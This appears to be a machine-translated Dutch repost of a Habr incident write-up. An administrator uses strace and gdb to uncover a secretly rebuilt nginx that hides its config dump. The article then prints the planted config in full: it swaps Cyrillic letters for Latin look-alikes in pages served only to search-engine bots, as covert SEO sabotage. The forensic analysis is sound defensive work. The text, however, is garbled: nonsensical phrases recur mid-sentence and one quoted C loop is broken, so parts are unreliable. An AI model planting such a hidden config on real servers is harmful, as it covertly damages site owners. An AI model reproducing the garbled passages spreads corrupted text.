Wanneer 'a' niet gelijk is aan 'a'. Op de voet van een hack

Een zeer vervelende situatie overkwam een van mijn kennissen. Maar hoe onplezierig het ook voor Michail was, zo vermaaklijk was het voor mij.

Moet ik zeggen dat mijn vriend nogal in zijn nopjes was, UNIX-gebruiker: kan zelf het systeem installeren, mysql, php en de eenvoudigste instellingen maken. met alles wat daarin al aanwezig is, en de inhoud van de map.
En hij heeft een tiental websites die aan bouwgereedschap zijn gewijd.

Een van deze sites, gewijd aan kettingzagen, staat stevig in de top van zoekmachines. Deze site is een niet-commerciële informatieve pagina, maar iemand heeft er een hekel aan en heeft geprobeerd deze aan te vallen. Of het nu DDoS, brute force aanvallen zijn, of ongepaste reacties die hij op zijn hosting en naar de rechtbank heeft gestuurd.
Opeens was er een stilte en deze kalmte bleek slecht nieuws te betekenen, het probleem was dat de site langzaam de hoogste posities in de zoekresultaten begon te verlaten.

Wanneer 'a' niet gelijk is aan 'а'. Naar aanleiding van een hack

Dat was een inleiding, nu het eigenlijke verhaal van de beheerder.

Het was bijna bedtijd toen de telefoon ging: "San, kijk je naar mijn server? Ik denk dat ik ben gehackt, ik kan het niet bewijzen, maar dat gevoel laat me nu al drie weken niet meer los. Misschien moet ik gewoon mijn paranoia behandelen?"

Daarop volgde een half uur aan discussie die kort samengevat kan worden als:

  • de grond voor de hack was behoorlijk vruchtbaar;
  • de hacker kon supergebruikersrechten verkrijgen;
  • de aanval (als deze had plaatsgevonden) was gericht en specifiek op deze site;
  • de probleemgebieden zijn verholpen en we moeten alleen begrijpen of er een inbraak heeft plaatsgevonden;
  • de hack kon de code van de site en de databases niet raken.

Wat betreft het laatste punt.

Wanneer 'a' niet gelijk is aan 'а'. Naar aanleiding van een hack

De wereld kijkt alleen maar met het witte IP van de frontend. Tussen de backend en de frontend is er geen enkele uitwisseling behalve http(s), gebruikers/wachtwoorden verschillen, sleutels werden niet uitgewisseld. Alle poorten op de grijze adressen behalve 80/443 zijn gesloten. De witte IP's van de backends zijn alleen bekend bij twee gebruikers, aan wie Michail volledig vertrouwt.

Op de frontend is geïnstalleerd Debian 9 en op het moment van het telefoontje is het systeem van de wereld geïsoleerd door een externe firewall en stopgezet.

"Oké, geef me de toegang, - besluit ik om mijn slaap met een uurtje uit te stellen. - Ik ga zelf eens kijken."

Hier en verder:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, versie 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx versie: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Op zoek naar mogelijke hacks,

Start ik de server, eerst in rescue-mode.Ik monteer de schijven, blader door auth-logs, history, systeemlogboeken enzovoort, controleer zoveel mogelijk de aanmaakdata van bestanden, hoewel ik begrijp dat een echte hacker alles zou opvegen, en bovendien heeft Misha al behoorlijk wat sporen achtergelaten terwijl hij zelf zocht.

Ik begin in normale modus, voornamelijk zonder echt te begrijpen wat ik zoek, en bestudeer de configuraties. In de eerste plaats interesseert het me met alles wat daarin al aanwezig is, en de inhoud van de map want, in feite, is er verder op de frontend niets anders.
De configuraties zijn klein, goed gestructureerd in een tiental bestanden, ik bekijk ze gewoon cat’afwisselend. Het lijkt allemaal schoon te zijn, maar wie weet heb ik iets over het hoofd gezien include, ik zal een volledige listing maken:

$ nginx -T
nginx: het configuratiebestand /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuratiebestand /usr/local/etc/nginx/nginx.conf test is succesvol

Ik snap het niet: «Waar is de listing?»

$ nginx -V
nginx versie: nginx/1.10.3
TLS SNI ondersteuning ingeschakeld
configureer argumenten: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Met de vraag over de listing wordt een tweede toegevoegd: «Waarom zo’n oude versie van nginx?»

Bovendien denkt het systeem dat de versie nieuwer is geïnstalleerd:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          kleine, krachtige, schaalbare web/proxyserver

Ik bel:
— Misha, waarom heb je het opnieuw opgebouwd met alles wat daarin al aanwezig is, en de inhoud van de map?
— Kalmeer, ik weet zelfs niet hoe ik dat moet doen!
— Ok, nou, slaap…

Nginx het is duidelijk opnieuw opgebouwd en de output van de listing met «-T» is niet voor niets verborgen. Er zijn geen twijfels meer over een hack en dat kan gewoon geaccepteerd worden en (aangezien Misha de server toch door een nieuwe heeft vervangen) kan het probleem als opgelost worden beschouwd.

En inderdaad, aangezien iemand rechten heeft gekregen root‘a, is het zinvol om alleen system reinstall, en het is nutteloos om te zoeken naar wat daar is misgegaan, maar deze keer overwon de nieuwsgierigheid de slaap. Hoe kunnen we erachter komen wat ze van ons wilden verbergen?

Laten we proberen te traceren:

$ strace nginx -T

We bekijken, in de trace ontbreekt duidelijk iets zoals

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Uit nieuwsgierigheid vergelijken we de uitvoer

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ik denk dat een deel van de code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

werd weergegeven als:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                \/\/ngx_dump_config = 1;
                break;

of

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

daarom wordt de lijst voor «-T» niet weergegeven.

Maar hoe kunnen we onze config bekijken?

Als mijn gedachte correct is en het probleem enkel in de variabele ngx_dump_config laten we proberen deze te stellen met behulp van gdb, gelukkig is het sleutelwoord —with-cc-opt -g aanwezig en hopelijk zal de optimalisatie -O2 ons niet in de weg staan. Aangezien ik niet weet hoe ngx_dump_config zou kunnen zijn behandeld in case ‘T’:, laten we dit blok niet aanroepen, maar stellen we deze in met case ‘t’:

Waarom kan ‘-t’ net als ‘-T’ worden gebruikt?Verwerking van het blok if(ngx_dump_config) gebeurt binnen if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuratiebestand %s test is succesvol",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# configuratiebestand ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Natuurlijk, als de code op dit punt is gewijzigd en niet in case ‘T’:, dan is mijn manier niet geschikt.

Test nginx.confHet probleem werd al experimenteel opgelost en vastgesteld dat voor de werking van de kwaadaardige code een minimale config nodig is met alles wat daarin al aanwezig is, en de inhoud van de map van de volgende vorm:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Dit zullen we voor de kortheid in het artikel gebruiken.

Laten we de debugger starten

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Stap voor stap:

  • we zetten een breakpoint in de functie main()
  • we starten het programma
  • we veranderen de waarde van de variabele die de config-output bepaalt ngx_dump_config=1
  • we gaan verder/stoppen met het programma

Zoals we zien, verschilt de echte config van de onze. We isoleren het parasitaire stuk:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Laten we stap voor stap bekijken wat hier gebeurt.

Er worden bepaald User-Agent‘ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Er worden systeempagina's uitgesloten wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

En voor degenen die aan beide bovengenoemde voorwaarden voldoen

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

in de tekst html-pagina's worden gewijzigd ‘о’ en een werkende opdracht krijgen. ‘o’ en ‘а’ en een werkende opdracht krijgen. ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Precies zo, het nuance is alleen dat ‘а’ != ‘a’ net zoals ‘о’ != ‘o’:

Wanneer 'a' niet gelijk is aan 'а'. Naar aanleiding van een hack

Dus ontvangen zoekmachine-bots in plaats van normale 100%-cyrlische tekst gemodificeerde rommel doordrenkt met Latijnse letters ‘a’ en ‘o’. Ik wil niet speculeren over hoe dit de SEO beïnvloedt, maar het is onwaarschijnlijk dat zo'n letterlijke chaos een positieve invloed heeft op de ranking in de zoekresultaten.

Wat kan ik zeggen, jongens met fantasie.

Links

Debugging met GDB
gdb(1) — Linux man page
strace(1) — Linux man page
Nginx — Module ngx_http_sub_module
Over zagen, kettingzagen en elektrische zagen

Bron: habr.com

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster